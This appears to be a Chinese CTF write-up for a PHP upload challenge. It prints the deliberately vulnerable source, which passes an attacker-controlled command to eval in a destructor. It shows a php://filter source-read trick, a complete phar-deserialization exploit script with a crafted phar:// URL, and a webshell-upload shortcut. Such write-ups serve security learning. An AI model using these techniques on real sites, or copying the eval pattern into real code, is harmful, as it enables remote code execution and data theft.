知识点
- 弱口令爆破
- php伪协议文件读取
解题
1. 弱口令
2. 文件读取
看到当前引用的是 upload.php
加上urlhome.php?file=upload
很容易联想到文件包含,这里用伪协议进行文件读取
php://filter/read=convert.base64-encode/resource=upload
获得源码
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>
<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
?>
3.phar反序列化 预期解
感觉这道题有点问题,反正很多非预期
$this->Filename是可控的
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
接着就是 析构函数可以有一个命令执行 但是命令执行的前提是我们指导session
but echo “下面是你上传的文件:
“.$uploader.”
“; 暴露了session
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename; 返回了文件名里有session
}
- 所以随便上传一个文件就可以得到session[user]了
写exp
<?php
class Uploader{
public $Filename;
public $cmd;
public $token;
}
$upload = new Uploader();
$upload->cmd = "highlight_file('/var/www/html/flag.php');";
$upload->Filename = 'test';
$upload->token = 'GXY1bc3499eb86867d7a7fe7c7ba1b750c7';
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($upload);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
?>
将这个文件上传之后![S0$S~EGT_A%YXH0AUQ6TYS.png将得到的文件路径前加一个phar://
因为我们可以控制文件名称
所以构造url为?file=upload&name=phar:///var/www/html/uploads/2f0590cbb2eb9805ef7301a7047c00be/GXY1bc3499eb86867d7a7fe7c7ba1b750c7.txt
之后再此上传文件
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
此时会new一个新的Uploader,而此时他的filename是我们phar:///var/www/html/uploads/2f0590cbb2eb9805ef7301a7047c00be/GXY1bc3499eb86867d7a7fe7c7ba1b750c7.txt
之后会调用upload函数不用管
但是在下面的file_get_contents($uploader)会调用toString函数这个时候就变为了file_get_contents(phar:///var/www/html/uploads/2f0590cbb2eb9805ef7301a7047c00be/GXY1bc3499eb86867d7a7fe7c7ba1b750c7.txt)
会自动解析我们的phar文件
而这个phar里的cmd属性的值是highlight_file(‘/var/www/html/flag.php’);
在析构的时候就会给出我们的flag
非预期
- 直接传shell.php
这里的过滤好像没有什么卵用,按理说应该是不能传shell.phpif(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
如果文件名称为shell.php,前面的phar
应该会调用
但是并没有,这个可以猜到,如果有的话,前面正常的文件上传按理来说应该也是不行的$this->cmd = "die('illegal filename!');";
所以直接控制名称为shell.php
上传一个webshell我觉得这道题很烂,做的莫名其妙!